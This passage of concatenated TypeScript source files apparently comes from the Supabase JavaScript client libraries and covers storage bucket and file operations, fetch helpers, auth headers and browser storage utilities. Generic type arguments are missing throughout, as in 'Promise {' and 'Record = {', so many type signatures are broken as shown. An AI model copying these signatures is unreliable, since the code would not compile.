FetchParameters\n): Promise {\n return _handleRequest(fetcher, 'GET', url, options, parameters)\n}\n\nexport async function post(\n fetcher: Fetch,\n url: string,\n body: object,\n options?: FetchOptions,\n parameters?: FetchParameters\n): Promise {\n return _handleRequest(fetcher, 'POST', url, options, parameters, body)\n}\n\nexport async function put(\n fetcher: Fetch,\n url: string,\n body: object,\n options?: FetchOptions,\n parameters?: FetchParameters\n): Promise {\n return _handleRequest(fetcher, 'PUT', url, options, parameters, body)\n}\n\nexport async function remove(\n fetcher: Fetch,\n url: string,\n body: object,\n options?: FetchOptions,\n parameters?: FetchParameters\n): Promise {\n return _handleRequest(fetcher, 'DELETE', url, options, parameters, body)\n}\n", "import { isStorageError, StorageError } from '../lib/errors'\nimport { Fetch, get, post, remove } from '../lib/fetch'\nimport { resolveFetch } from '../lib/helpers'\nimport {\n FileObject,\n FileOptions,\n SearchOptions,\n FetchParameters,\n TransformOptions,\n DestinationOptions,\n} from '../lib/types'\n\nconst DEFAULT_SEARCH_OPTIONS = {\n limit: 100,\n offset: 0,\n sortBy: {\n column: 'name',\n order: 'asc',\n },\n}\n\nconst DEFAULT_FILE_OPTIONS: FileOptions = {\n cacheControl: '3600',\n contentType: 'text/plain;charset=UTF-8',\n upsert: false,\n}\n\ntype FileBody =\n | ArrayBuffer\n | ArrayBufferView\n | Blob\n | Buffer\n | File\n | FormData\n | NodeJS.ReadableStream\n | ReadableStream\n | URLSearchParams\n | string\n\nexport default class StorageFileApi {\n protected url: string\n protected headers: { [key: string]: string }\n protected bucketId?: string\n protected fetch: Fetch\n\n constructor(\n url: string,\n headers: { [key: string]: string } = {},\n bucketId?: string,\n fetch?: Fetch\n ) {\n this.url = url\n this.headers = headers\n this.bucketId = bucketId\n this.fetch = resolveFetch(fetch)\n }\n\n /**\n * Uploads a file to an existing bucket or replaces an existing file at the specified path with a new one.\n *\n * @param method HTTP method.\n * @param path The relative file path. Should be of the format `folder/subfolder/filename.png`. The bucket must already exist before attempting to upload.\n * @param fileBody The body of the file to be stored in the bucket.\n */\n private async uploadOrUpdate(\n method: 'POST' | 'PUT',\n path: string,\n fileBody: FileBody,\n fileOptions?: FileOptions\n ): Promise<\n | {\n data: { id: string; path: string; fullPath: string }\n error: null\n }\n | {\n data: null\n error: StorageError\n }\n > {\n try {\n let body\n const options = { ...DEFAULT_FILE_OPTIONS, ...fileOptions }\n const headers: Record = {\n ...this.headers,\n ...(method === 'POST' && { 'x-upsert': String(options.upsert as boolean) }),\n }\n\n if (typeof Blob !== 'undefined' && fileBody instanceof Blob) {\n body = new FormData()\n body.append('cacheControl', options.cacheControl as string)\n body.append('', fileBody)\n } else if (typeof FormData !== 'undefined' && fileBody instanceof FormData) {\n body = fileBody\n body.append('cacheControl', options.cacheControl as string)\n } else {\n body = fileBody\n headers['cache-control'] = `max-age=${options.cacheControl}`\n headers['content-type'] = options.contentType as string\n }\n\n const cleanPath = this._removeEmptyFolders(path)\n const _path = this._getFinalPath(cleanPath)\n const res = await this.fetch(`${this.url}/object/${_path}`, {\n method,\n body: body as BodyInit,\n headers,\n ...(options?.duplex ? { duplex: options.duplex } : {}),\n })\n\n const data = await res.json()\n\n if (res.ok) {\n return {\n data: { path: cleanPath, id: data.Id, fullPath: data.Key },\n error: null,\n }\n } else {\n const error = data\n return { data: null, error }\n }\n } catch (error) {\n if (isStorageError(error)) {\n return { data: null, error }\n }\n\n throw error\n }\n }\n\n /**\n * Uploads a file to an existing bucket.\n *\n * @param path The file path, including the file name. Should be of the format `folder/subfolder/filename.png`. The bucket must already exist before attempting to upload.\n * @param fileBody The body of the file to be stored in the bucket.\n */\n async upload(\n path: string,\n fileBody: FileBody,\n fileOptions?: FileOptions\n ): Promise<\n | {\n data: { id: string; path: string; fullPath: string }\n error: null\n }\n | {\n data: null\n error: StorageError\n }\n > {\n return this.uploadOrUpdate('POST', path, fileBody, fileOptions)\n }\n\n /**\n * Upload a file with a token generated from `createSignedUploadUrl`.\n * @param path The file path, including the file name. Should be of the format `folder/subfolder/filename.png`. The bucket must already exist before attempting to upload.\n * @param token The token generated from `createSignedUploadUrl`\n * @param fileBody The body of the file to be stored in the bucket.\n */\n async uploadToSignedUrl(\n path: string,\n token: string,\n fileBody: FileBody,\n fileOptions?: FileOptions\n ) {\n const cleanPath = this._removeEmptyFolders(path)\n const _path = this._getFinalPath(cleanPath)\n\n const url = new URL(this.url + `/object/upload/sign/${_path}`)\n url.searchParams.set('token', token)\n\n try {\n let body\n const options = { upsert: DEFAULT_FILE_OPTIONS.upsert, ...fileOptions }\n const headers: Record = {\n ...this.headers,\n ...{ 'x-upsert': String(options.upsert as boolean) },\n }\n\n if (typeof Blob !== 'undefined' && fileBody instanceof Blob) {\n body = new FormData()\n body.append('cacheControl', options.cacheControl as string)\n body.append('', fileBody)\n } else if (typeof FormData !== 'undefined' && fileBody instanceof FormData) {\n body = fileBody\n body.append('cacheControl', options.cacheControl as string)\n } else {\n body = fileBody\n headers['cache-control'] = `max-age=${options.cacheControl}`\n headers['content-type'] = options.contentType as string\n }\n\n const res = await this.fetch(url.toString(), {\n method: 'PUT',\n body: body as BodyInit,\n headers,\n })\n\n const data = await res.json()\n\n if (res.ok) {\n return {\n data: { path: cleanPath, fullPath: data.Key },\n error: null,\n }\n } else {\n const error = data\n return { data: null, error }\n }\n } catch (error) {\n if (isStorageError(error)) {\n return { data: null, error }\n }\n\n throw error\n }\n }\n\n /**\n * Creates a signed upload URL.\n * Signed upload URLs can be used to upload files to the bucket without further authentication.\n * They are valid for 2 hours.\n * @param path The file path, including the current file name. For example `folder/image.png`.\n * @param options.upsert If set to true, allows the file to be overwritten if it already exists.\n */\n async createSignedUploadUrl(\n path: string,\n options?: { upsert: boolean }\n ): Promise<\n | {\n data: { signedUrl: string; token: string; path: string }\n error: null\n }\n | {\n data: null\n error: StorageError\n }\n > {\n try {\n let _path = this._getFinalPath(path)\n\n const headers = { ...this.headers }\n\n if (options?.upsert) {\n headers['x-upsert'] = 'true'\n }\n\n const data = await post(\n this.fetch,\n `${this.url}/object/upload/sign/${_path}`,\n {},\n { headers }\n )\n\n const url = new URL(this.url + data.url)\n\n const token = url.searchParams.get('token')\n\n if (!token) {\n throw new StorageError('No token returned by API')\n }\n\n return { data: { signedUrl: url.toString(), path, token }, error: null }\n } catch (error) {\n if (isStorageError(error)) {\n return { data: null, error }\n }\n\n throw error\n }\n }\n\n /**\n * Replaces an existing file at the specified path with a new one.\n *\n * @param path The relative file path. Should be of the format `folder/subfolder/filename.png`. The bucket must already exist before attempting to update.\n * @param fileBody The body of the file to be stored in the bucket.\n */\n async update(\n path: string,\n fileBody:\n | ArrayBuffer\n | ArrayBufferView\n | Blob\n | Buffer\n | File\n | FormData\n | NodeJS.ReadableStream\n | ReadableStream\n | URLSearchParams\n | string,\n fileOptions?: FileOptions\n ): Promise<\n | {\n data: { id: string; path: string; fullPath: string }\n error: null\n }\n | {\n data: null\n error: StorageError\n }\n > {\n return this.uploadOrUpdate('PUT', path, fileBody, fileOptions)\n }\n\n /**\n * Moves an existing file to a new path in the same bucket.\n *\n * @param fromPath The original file path, including the current file name. For example `folder/image.png`.\n * @param toPath The new file path, including the new file name. For example `folder/image-new.png`.\n * @param options The destination options.\n */\n async move(\n fromPath: string,\n toPath: string,\n options?: DestinationOptions\n ): Promise<\n | {\n data: { message: string }\n error: null\n }\n | {\n data: null\n error: StorageError\n }\n > {\n try {\n const data = await post(\n this.fetch,\n `${this.url}/object/move`,\n {\n bucketId: this.bucketId,\n sourceKey: fromPath,\n destinationKey: toPath,\n destinationBucket: options?.destinationBucket,\n },\n { headers: this.headers }\n )\n return { data, error: null }\n } catch (error) {\n if (isStorageError(error)) {\n return { data: null, error }\n }\n\n throw error\n }\n }\n\n /**\n * Copies an existing file to a new path in the same bucket.\n *\n * @param fromPath The original file path, including the current file name. For example `folder/image.png`.\n * @param toPath The new file path, including the new file name. For example `folder/image-copy.png`.\n * @param options The destination options.\n */\n async copy(\n fromPath: string,\n toPath: string,\n options?: DestinationOptions\n ): Promise<\n | {\n data: { path: string }\n error: null\n }\n | {\n data: null\n error: StorageError\n }\n > {\n try {\n const data = await post(\n this.fetch,\n `${this.url}/object/copy`,\n {\n bucketId: this.bucketId,\n sourceKey: fromPath,\n destinationKey: toPath,\n destinationBucket: options?.destinationBucket,\n },\n { headers: this.headers }\n )\n return { data: { path: data.Key }, error: null }\n } catch (error) {\n if (isStorageError(error)) {\n return { data: null, error }\n }\n\n throw error\n }\n }\n\n /**\n * Creates a signed URL. Use a signed URL to share a file for a fixed amount of time.\n *\n * @param path The file path, including the current file name. For example `folder/image.png`.\n * @param expiresIn The number of seconds until the signed URL expires. For example, `60` for a URL which is valid for one minute.\n * @param options.download triggers the file as a download if set to true. Set this parameter as the name of the file if you want to trigger the download with a different filename.\n * @param options.transform Transform the asset before serving it to the client.\n */\n async createSignedUrl(\n path: string,\n expiresIn: number,\n options?: { download?: string | boolean; transform?: TransformOptions }\n ): Promise<\n | {\n data: { signedUrl: string }\n error: null\n }\n | {\n data: null\n error: StorageError\n }\n > {\n try {\n let _path = this._getFinalPath(path)\n\n let data = await post(\n this.fetch,\n `${this.url}/object/sign/${_path}`,\n { expiresIn, ...(options?.transform ? { transform: options.transform } : {}) },\n { headers: this.headers }\n )\n const downloadQueryParam = options?.download\n ? `&download=${options.download === true ? '' : options.download}`\n : ''\n const signedUrl = encodeURI(`${this.url}${data.signedURL}${downloadQueryParam}`)\n data = { signedUrl }\n return { data, error: null }\n } catch (error) {\n if (isStorageError(error)) {\n return { data: null, error }\n }\n\n throw error\n }\n }\n\n /**\n * Creates multiple signed URLs. Use a signed URL to share a file for a fixed amount of time.\n *\n * @param paths The file paths to be downloaded, including the current file names. For example `['folder/image.png', 'folder2/image2.png']`.\n * @param expiresIn The number of seconds until the signed URLs expire. For example, `60` for URLs which are valid for one minute.\n * @param options.download triggers the file as a download if set to true. Set this parameter as the name of the file if you want to trigger the download with a different filename.\n */\n async createSignedUrls(\n paths: string[],\n expiresIn: number,\n options?: { download: string | boolean }\n ): Promise<\n | {\n data: { error: string | null; path: string | null; signedUrl: string }[]\n error: null\n }\n | {\n data: null\n error: StorageError\n }\n > {\n try {\n const data = await post(\n this.fetch,\n `${this.url}/object/sign/${this.bucketId}`,\n { expiresIn, paths },\n { headers: this.headers }\n )\n\n const downloadQueryParam = options?.download\n ? `&download=${options.download === true ? '' : options.download}`\n : ''\n return {\n data: data.map((datum: { signedURL: string }) => ({\n ...datum,\n signedUrl: datum.signedURL\n ? encodeURI(`${this.url}${datum.signedURL}${downloadQueryParam}`)\n : null,\n })),\n error: null,\n }\n } catch (error) {\n if (isStorageError(error)) {\n return { data: null, error }\n }\n\n throw error\n }\n }\n\n /**\n * Downloads a file from a private bucket. For public buckets, make a request to the URL returned from `getPublicUrl` instead.\n *\n * @param path The full path and file name of the file to be downloaded. For example `folder/image.png`.\n * @param options.transform Transform the asset before serving it to the client.\n */\n async download(\n path: string,\n options?: { transform?: TransformOptions }\n ): Promise<\n | {\n data: Blob\n error: null\n }\n | {\n data: null\n error: StorageError\n }\n > {\n const wantsTransformation = typeof options?.transform !== 'undefined'\n const renderPath = wantsTransformation ? 'render/image/authenticated' : 'object'\n const transformationQuery = this.transformOptsToQueryString(options?.transform || {})\n const queryString = transformationQuery ? `?${transformationQuery}` : ''\n\n try {\n const _path = this._getFinalPath(path)\n const res = await get(this.fetch, `${this.url}/${renderPath}/${_path}${queryString}`, {\n headers: this.headers,\n noResolveJson: true,\n })\n const data = await res.blob()\n return { data, error: null }\n } catch (error) {\n if (isStorageError(error)) {\n return { data: null, error }\n }\n\n throw error\n }\n }\n\n /**\n * A simple convenience function to get the URL for an asset in a public bucket. If you do not want to use this function, you can construct the public URL by concatenating the bucket URL with the path to the asset.\n * This function does not verify if the bucket is public. If a public URL is created for a bucket which is not public, you will not be able to download the asset.\n *\n * @param path The path and name of the file to generate the public URL for. For example `folder/image.png`.\n * @param options.download Triggers the file as a download if set to true. Set this parameter as the name of the file if you want to trigger the download with a different filename.\n * @param options.transform Transform the asset before serving it to the client.\n */\n getPublicUrl(\n path: string,\n options?: { download?: string | boolean; transform?: TransformOptions }\n ): { data: { publicUrl: string } } {\n const _path = this._getFinalPath(path)\n const _queryString = []\n\n const downloadQueryParam = options?.download\n ? `download=${options.download === true ? '' : options.download}`\n : ''\n\n if (downloadQueryParam !== '') {\n _queryString.push(downloadQueryParam)\n }\n\n const wantsTransformation = typeof options?.transform !== 'undefined'\n const renderPath = wantsTransformation ? 'render/image' : 'object'\n const transformationQuery = this.transformOptsToQueryString(options?.transform || {})\n\n if (transformationQuery !== '') {\n _queryString.push(transformationQuery)\n }\n\n let queryString = _queryString.join('&')\n if (queryString !== '') {\n queryString = `?${queryString}`\n }\n\n return {\n data: { publicUrl: encodeURI(`${this.url}/${renderPath}/public/${_path}${queryString}`) },\n }\n }\n\n /**\n * Deletes files within the same bucket\n *\n * @param paths An array of files to delete, including the path and file name. For example [`'folder/image.png'`].\n */\n async remove(\n paths: string[]\n ): Promise<\n | {\n data: FileObject[]\n error: null\n }\n | {\n data: null\n error: StorageError\n }\n > {\n try {\n const data = await remove(\n this.fetch,\n `${this.url}/object/${this.bucketId}`,\n { prefixes: paths },\n { headers: this.headers }\n )\n return { data, error: null }\n } catch (error) {\n if (isStorageError(error)) {\n return { data: null, error }\n }\n\n throw error\n }\n }\n\n /**\n * Get file metadata\n * @param id the file id to retrieve metadata\n */\n // async getMetadata(\n // id: string\n // ): Promise<\n // | {\n // data: Metadata\n // error: null\n // }\n // | {\n // data: null\n // error: StorageError\n // }\n // > {\n // try {\n // const data = await get(this.fetch, `${this.url}/metadata/${id}`, { headers: this.headers })\n // return { data, error: null }\n // } catch (error) {\n // if (isStorageError(error)) {\n // return { data: null, error }\n // }\n\n // throw error\n // }\n // }\n\n /**\n * Update file metadata\n * @param id the file id to update metadata\n * @param meta the new file metadata\n */\n // async updateMetadata(\n // id: string,\n // meta: Metadata\n // ): Promise<\n // | {\n // data: Metadata\n // error: null\n // }\n // | {\n // data: null\n // error: StorageError\n // }\n // > {\n // try {\n // const data = await post(\n // this.fetch,\n // `${this.url}/metadata/${id}`,\n // { ...meta },\n // { headers: this.headers }\n // )\n // return { data, error: null }\n // } catch (error) {\n // if (isStorageError(error)) {\n // return { data: null, error }\n // }\n\n // throw error\n // }\n // }\n\n /**\n * Lists all the files within a bucket.\n * @param path The folder path.\n */\n async list(\n path?: string,\n options?: SearchOptions,\n parameters?: FetchParameters\n ): Promise<\n | {\n data: FileObject[]\n error: null\n }\n | {\n data: null\n error: StorageError\n }\n > {\n try {\n const body = { ...DEFAULT_SEARCH_OPTIONS, ...options, prefix: path || '' }\n const data = await post(\n this.fetch,\n `${this.url}/object/list/${this.bucketId}`,\n body,\n { headers: this.headers },\n parameters\n )\n return { data, error: null }\n } catch (error) {\n if (isStorageError(error)) {\n return { data: null, error }\n }\n\n throw error\n }\n }\n\n private _getFinalPath(path: string) {\n return `${this.bucketId}/${path}`\n }\n\n private _removeEmptyFolders(path: string) {\n return path.replace(/^\\/|\\/$/g, '').replace(/\\/+/g, '/')\n }\n\n private transformOptsToQueryString(transform: TransformOptions) {\n const params = []\n if (transform.width) {\n params.push(`width=${transform.width}`)\n }\n\n if (transform.height) {\n params.push(`height=${transform.height}`)\n }\n\n if (transform.resize) {\n params.push(`resize=${transform.resize}`)\n }\n\n if (transform.format) {\n params.push(`format=${transform.format}`)\n }\n\n if (transform.quality) {\n params.push(`quality=${transform.quality}`)\n }\n\n return params.join('&')\n }\n}\n", "// generated by genversion\nexport const version = '2.6.0'\n", "import { version } from './version'\nexport const DEFAULT_HEADERS = { 'X-Client-Info': `storage-js/${version}` }\n", "import { DEFAULT_HEADERS } from '../lib/constants'\nimport { isStorageError, StorageError } from '../lib/errors'\nimport { Fetch, get, post, put, remove } from '../lib/fetch'\nimport { resolveFetch } from '../lib/helpers'\nimport { Bucket } from '../lib/types'\n\nexport default class StorageBucketApi {\n protected url: string\n protected headers: { [key: string]: string }\n protected fetch: Fetch\n\n constructor(url: string, headers: { [key: string]: string } = {}, fetch?: Fetch) {\n this.url = url\n this.headers = { ...DEFAULT_HEADERS, ...headers }\n this.fetch = resolveFetch(fetch)\n }\n\n /**\n * Retrieves the details of all Storage buckets within an existing project.\n */\n async listBuckets(): Promise<\n | {\n data: Bucket[]\n error: null\n }\n | {\n data: null\n error: StorageError\n }\n > {\n try {\n const data = await get(this.fetch, `${this.url}/bucket`, { headers: this.headers })\n return { data, error: null }\n } catch (error) {\n if (isStorageError(error)) {\n return { data: null, error }\n }\n\n throw error\n }\n }\n\n /**\n * Retrieves the details of an existing Storage bucket.\n *\n * @param id The unique identifier of the bucket you would like to retrieve.\n */\n async getBucket(\n id: string\n ): Promise<\n | {\n data: Bucket\n error: null\n }\n | {\n data: null\n error: StorageError\n }\n > {\n try {\n const data = await get(this.fetch, `${this.url}/bucket/${id}`, { headers: this.headers })\n return { data, error: null }\n } catch (error) {\n if (isStorageError(error)) {\n return { data: null, error }\n }\n\n throw error\n }\n }\n\n /**\n * Creates a new Storage bucket\n *\n * @param id A unique identifier for the bucket you are creating.\n * @param options.public The visibility of the bucket. Public buckets don't require an authorization token to download objects, but still require a valid token for all other operations. By default, buckets are private.\n * @param options.fileSizeLimit specifies the max file size in bytes that can be uploaded to this bucket.\n * The global file size limit takes precedence over this value.\n * The default value is null, which doesn't set a per bucket file size limit.\n * @param options.allowedMimeTypes specifies the allowed mime types that this bucket can accept during upload.\n * The default value is null, which allows files with all mime types to be uploaded.\n * Each mime type specified can be a wildcard, e.g. image/*, or a specific mime type, e.g. image/png.\n * @returns newly created bucket id\n */\n async createBucket(\n id: string,\n options: {\n public: boolean\n fileSizeLimit?: number | string | null\n allowedMimeTypes?: string[] | null\n } = {\n public: false,\n }\n ): Promise<\n | {\n data: Pick\n error: null\n }\n | {\n data: null\n error: StorageError\n }\n > {\n try {\n const data = await post(\n this.fetch,\n `${this.url}/bucket`,\n {\n id,\n name: id,\n public: options.public,\n file_size_limit: options.fileSizeLimit,\n allowed_mime_types: options.allowedMimeTypes,\n },\n { headers: this.headers }\n )\n return { data, error: null }\n } catch (error) {\n if (isStorageError(error)) {\n return { data: null, error }\n }\n\n throw error\n }\n }\n\n /**\n * Updates a Storage bucket\n *\n * @param id A unique identifier for the bucket you are updating.\n * @param options.public The visibility of the bucket. Public buckets don't require an authorization token to download objects, but still require a valid token for all other operations.\n * @param options.fileSizeLimit specifies the max file size in bytes that can be uploaded to this bucket.\n * The global file size limit takes precedence over this value.\n * The default value is null, which doesn't set a per bucket file size limit.\n * @param options.allowedMimeTypes specifies the allowed mime types that this bucket can accept during upload.\n * The default value is null, which allows files with all mime types to be uploaded.\n * Each mime type specified can be a wildcard, e.g. image/*, or a specific mime type, e.g. image/png.\n */\n async updateBucket(\n id: string,\n options: {\n public: boolean\n fileSizeLimit?: number | string | null\n allowedMimeTypes?: string[] | null\n }\n ): Promise<\n | {\n data: { message: string }\n error: null\n }\n | {\n data: null\n error: StorageError\n }\n > {\n try {\n const data = await put(\n this.fetch,\n `${this.url}/bucket/${id}`,\n {\n id,\n name: id,\n public: options.public,\n file_size_limit: options.fileSizeLimit,\n allowed_mime_types: options.allowedMimeTypes,\n },\n { headers: this.headers }\n )\n return { data, error: null }\n } catch (error) {\n if (isStorageError(error)) {\n return { data: null, error }\n }\n\n throw error\n }\n }\n\n /**\n * Removes all objects inside a single bucket.\n *\n * @param id The unique identifier of the bucket you would like to empty.\n */\n async emptyBucket(\n id: string\n ): Promise<\n | {\n data: { message: string }\n error: null\n }\n | {\n data: null\n error: StorageError\n }\n > {\n try {\n const data = await post(\n this.fetch,\n `${this.url}/bucket/${id}/empty`,\n {},\n { headers: this.headers }\n )\n return { data, error: null }\n } catch (error) {\n if (isStorageError(error)) {\n return { data: null, error }\n }\n\n throw error\n }\n }\n\n /**\n * Deletes an existing bucket. A bucket can't be deleted with existing objects inside it.\n * You must first `empty()` the bucket.\n *\n * @param id The unique identifier of the bucket you would like to delete.\n */\n async deleteBucket(\n id: string\n ): Promise<\n | {\n data: { message: string }\n error: null\n }\n | {\n data: null\n error: StorageError\n }\n > {\n try {\n const data = await remove(\n this.fetch,\n `${this.url}/bucket/${id}`,\n {},\n { headers: this.headers }\n )\n return { data, error: null }\n } catch (error) {\n if (isStorageError(error)) {\n return { data: null, error }\n }\n\n throw error\n }\n }\n}\n", "import StorageFileApi from './packages/StorageFileApi'\nimport StorageBucketApi from './packages/StorageBucketApi'\nimport { Fetch } from './lib/fetch'\n\nexport class StorageClient extends StorageBucketApi {\n constructor(url: string, headers: { [key: string]: string } = {}, fetch?: Fetch) {\n super(url, headers, fetch)\n }\n\n /**\n * Perform file operation in a bucket.\n *\n * @param id The bucket id to operate on.\n */\n from(id: string): StorageFileApi {\n return new StorageFileApi(this.url, this.headers, id, this.fetch)\n }\n}\n", "export const version = '2.44.4'\n", "// constants.ts\nimport { RealtimeClientOptions } from '@supabase/realtime-js'\nimport { SupabaseAuthClientOptions } from './types'\nimport { version } from './version'\n\nlet JS_ENV = ''\n// @ts-ignore\nif (typeof Deno !== 'undefined') {\n JS_ENV = 'deno'\n} else if (typeof document !== 'undefined') {\n JS_ENV = 'web'\n} else if (typeof navigator !== 'undefined' && navigator.product === 'ReactNative') {\n JS_ENV = 'react-native'\n} else {\n JS_ENV = 'node'\n}\n\nexport const DEFAULT_HEADERS = { 'X-Client-Info': `supabase-js-${JS_ENV}/${version}` }\n\nexport const DEFAULT_GLOBAL_OPTIONS = {\n headers: DEFAULT_HEADERS,\n}\n\nexport const DEFAULT_DB_OPTIONS = {\n schema: 'public',\n}\n\nexport const DEFAULT_AUTH_OPTIONS: SupabaseAuthClientOptions = {\n autoRefreshToken: true,\n persistSession: true,\n detectSessionInUrl: true,\n flowType: 'implicit',\n}\n\nexport const DEFAULT_REALTIME_OPTIONS: RealtimeClientOptions = {}\n", "// @ts-ignore\nimport nodeFetch, { Headers as NodeFetchHeaders } from '@supabase/node-fetch'\n\ntype Fetch = typeof fetch\n\nexport const resolveFetch = (customFetch?: Fetch): Fetch => {\n let _fetch: Fetch\n if (customFetch) {\n _fetch = customFetch\n } else if (typeof fetch === 'undefined') {\n _fetch = nodeFetch as unknown as Fetch\n } else {\n _fetch = fetch\n }\n return (...args: Parameters) => _fetch(...args)\n}\n\nexport const resolveHeadersConstructor = () => {\n if (typeof Headers === 'undefined') {\n return NodeFetchHeaders\n }\n\n return Headers\n}\n\nexport const fetchWithAuth = (\n supabaseKey: string,\n getAccessToken: () => Promise,\n customFetch?: Fetch\n): Fetch => {\n const fetch = resolveFetch(customFetch)\n const HeadersConstructor = resolveHeadersConstructor()\n\n return async (input, init) => {\n const accessToken = (await getAccessToken()) ?? supabaseKey\n let headers = new HeadersConstructor(init?.headers)\n\n if (!headers.has('apikey')) {\n headers.set('apikey', supabaseKey)\n }\n\n if (!headers.has('Authorization')) {\n headers.set('Authorization', `Bearer ${accessToken}`)\n }\n\n return fetch(input, { ...init, headers })\n }\n}\n", "// helpers.ts\nimport { SupabaseClientOptions } from './types'\n\nexport function uuid() {\n return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function (c) {\n var r = (Math.random() * 16) | 0,\n v = c == 'x' ? r : (r & 0x3) | 0x8\n return v.toString(16)\n })\n}\n\nexport function stripTrailingSlash(url: string): string {\n return url.replace(/\\/$/, '')\n}\n\nexport const isBrowser = () => typeof window !== 'undefined'\n\nexport function applySettingDefaults<\n Database = any,\n SchemaName extends string & keyof Database = 'public' extends keyof Database\n ? 'public'\n : string & keyof Database\n>(\n options: SupabaseClientOptions,\n defaults: SupabaseClientOptions\n): Required> {\n const {\n db: dbOptions,\n auth: authOptions,\n realtime: realtimeOptions,\n global: globalOptions,\n } = options\n const {\n db: DEFAULT_DB_OPTIONS,\n auth: DEFAULT_AUTH_OPTIONS,\n realtime: DEFAULT_REALTIME_OPTIONS,\n global: DEFAULT_GLOBAL_OPTIONS,\n } = defaults\n\n return {\n db: {\n ...DEFAULT_DB_OPTIONS,\n ...dbOptions,\n },\n auth: {\n ...DEFAULT_AUTH_OPTIONS,\n ...authOptions,\n },\n realtime: {\n ...DEFAULT_REALTIME_OPTIONS,\n ...realtimeOptions,\n },\n global: {\n ...DEFAULT_GLOBAL_OPTIONS,\n ...globalOptions,\n },\n }\n}\n", "export const version = '2.64.4'\n", "import { version } from './version'\nexport const GOTRUE_URL = 'http://localhost:9999'\nexport const STORAGE_KEY = 'supabase.auth.token'\nexport const AUDIENCE = ''\nexport const DEFAULT_HEADERS = { 'X-Client-Info': `gotrue-js/${version}` }\nexport const EXPIRY_MARGIN = 10 // in seconds\nexport const NETWORK_FAILURE = {\n MAX_RETRIES: 10,\n RETRY_INTERVAL: 2, // in deciseconds\n}\n\nexport const API_VERSION_HEADER_NAME = 'X-Supabase-Api-Version'\nexport const API_VERSIONS = {\n '2024-01-01': {\n timestamp: Date.parse('2024-01-01T00:00:00.0Z'),\n name: '2024-01-01',\n },\n}\n", "import { API_VERSION_HEADER_NAME } from './constants'\nimport { SupportedStorage } from './types'\n\nexport function expiresAt(expiresIn: number) {\n const timeNow = Math.round(Date.now() / 1000)\n return timeNow + expiresIn\n}\n\nexport function uuid() {\n return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function (c) {\n const r = (Math.random() * 16) | 0,\n v = c == 'x' ? r : (r & 0x3) | 0x8\n return v.toString(16)\n })\n}\n\nexport const isBrowser = () => typeof document !== 'undefined'\n\nconst localStorageWriteTests = {\n tested: false,\n writable: false,\n}\n\n/**\n * Checks whether localStorage is supported on this browser.\n */\nexport const supportsLocalStorage = () => {\n if (!isBrowser()) {\n return false\n }\n\n try {\n if (typeof globalThis.localStorage !== 'object') {\n return false\n }\n } catch (e) {\n // DOM exception when accessing `localStorage`\n return false\n }\n\n if (localStorageWriteTests.tested) {\n return localStorageWriteTests.writable\n }\n\n const randomKey = `lswt-${Math.random()}${Math.random()}`\n\n try {\n globalThis.localStorage.setItem(randomKey, randomKey)\n globalThis.localStorage.removeItem(randomKey)\n\n localStorageWriteTests.tested = true\n localStorageWriteTests.writable = true\n } catch (e) {\n // localStorage can't be written to\n // https://www.chromium.org/for-testers/bug-reporting-guidelines/uncaught-securityerror-failed-to-read-the-localstorage-property-from-window-access-is-denied-for-this-document\n\n localStorageWriteTests.tested = true\n localStorageWriteTests.writable = false\n }\n\n return localStorageWriteTests.writable\n}\n\n/**\n * Extracts parameters encoded in the URL both in the query and fragment.\n */\nexport function parseParametersFromURL(href: string) {\n const result: { [parameter: string]: string } = {}\n\n const url = new URL(href)\n\n if (url.hash && url.hash[0] === '#') {\n try {\n const hashSearchParams = new URLSearchParams(url.hash.substring(1))\n hashSearchParams.forEach((value, key) => {\n result[key] = value\n })\n } catch (e: any) {\n // hash is not a query string\n }\n }\n\n // search parameters take precedence over hash parameters\n url.searchParams.forEach((value, key) => {\n result[key] = value\n })\n\n return result\n}\n\ntype Fetch = typeof fetch\n\nexport const resolveFetch = (customFetch?: Fetch): Fetch => {\n let _fetch: Fetch\n if (customFetch) {\n _fetch = customFetch\n } else if (typeof fetch === 'undefined') {\n _fetch = (...args) =>\n import('@supabase/node-fetch' as any).then(({ default: fetch }) => fetch(...args))\n } else {\n _fetch = fetch\n }\n return (...args) => _fetch(...args)\n}\n\nexport const looksLikeFetchResponse = (maybeResponse: unknown): maybeResponse is Response => {\n return (\n typeof maybeResponse === 'object' &&\n maybeResponse !== null &&\n 'status' in maybeResponse &&\n 'ok' in maybeResponse &&\n 'json' in maybeResponse &&\n typeof (maybeResponse as any).json === 'function'\n )\n}\n\n// Storage helpers\nexport const setItemAsync = async (\n storage: SupportedStorage,\n key: string,\n data: any\n): Promise => {\n await storage.setItem(key, JSON.stringify(data))\n}\n\nexport const getItemAsync = async (storage: SupportedStorage, key: string): Promise => {\n const value = await storage.getItem(key)\n\n if (!value) {\n return null\n }\n\n try {\n return JSON.parse(value)\n } catch {\n return value\n }\n}\n\nexport const removeItemAsync = async (storage: SupportedStorage, key: string): Promise => {\n await storage.removeItem(key)\n}\n\nexport function decodeBase64URL(value: string): string {\n const key = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='\n let base64 = ''\n let chr1, chr2, chr3\n let enc1, enc2, enc3, enc4\n let i = 0\n value = value.replace('-', '+').replace('_', '/')\n\n while (i < value.length) {\n enc1 = key.indexOf(value.charAt(i++))\n enc2 = key.indexOf(value.charAt(i++))\n enc3 = key.indexOf(value.charAt(i++))\n enc4 = key.indexOf(value.charAt(i++))\n chr1 = (enc1 << 2) | (enc2 >> 4)\n chr2 = ((enc2 & 15) << 4) | (enc3 >> 2)\n chr3 = ((enc3 & 3) << 6) | enc4\n base64 = base64 + String.fromCharCode(chr1)\n\n if (enc3 != 64 && chr2 != 0) {\n base64 = base64 + String.fromCharCode(chr2)\n }\n if (enc4 != 64 && chr3 != 0) {\n base64 = base64 + String.fromCharCode(chr3)\n }\n }\n return base64\n}\n\n/**\n * A deferred represents some asynchronous work that is not yet finished, which\n * may or may not culminate in a value.\n * Taken from: https://github.com/mike-north/types/blob/master/src/async.ts\n */\nexport class Deferred {\n public static promiseConstructor: PromiseConstructor = Promise\n\n public readonly promise!: PromiseLike\n\n public readonly resolve!: (value?: T | PromiseLike) => void\n\n public readonly reject!: (reason?: any) => any\n\n public constructor() {\n // eslint-disable-next-line @typescript-eslint/no-extra-semi\n ;(this as any).promise = new Deferred.promiseConstructor((res, rej) => {\n // eslint-disable-next-line 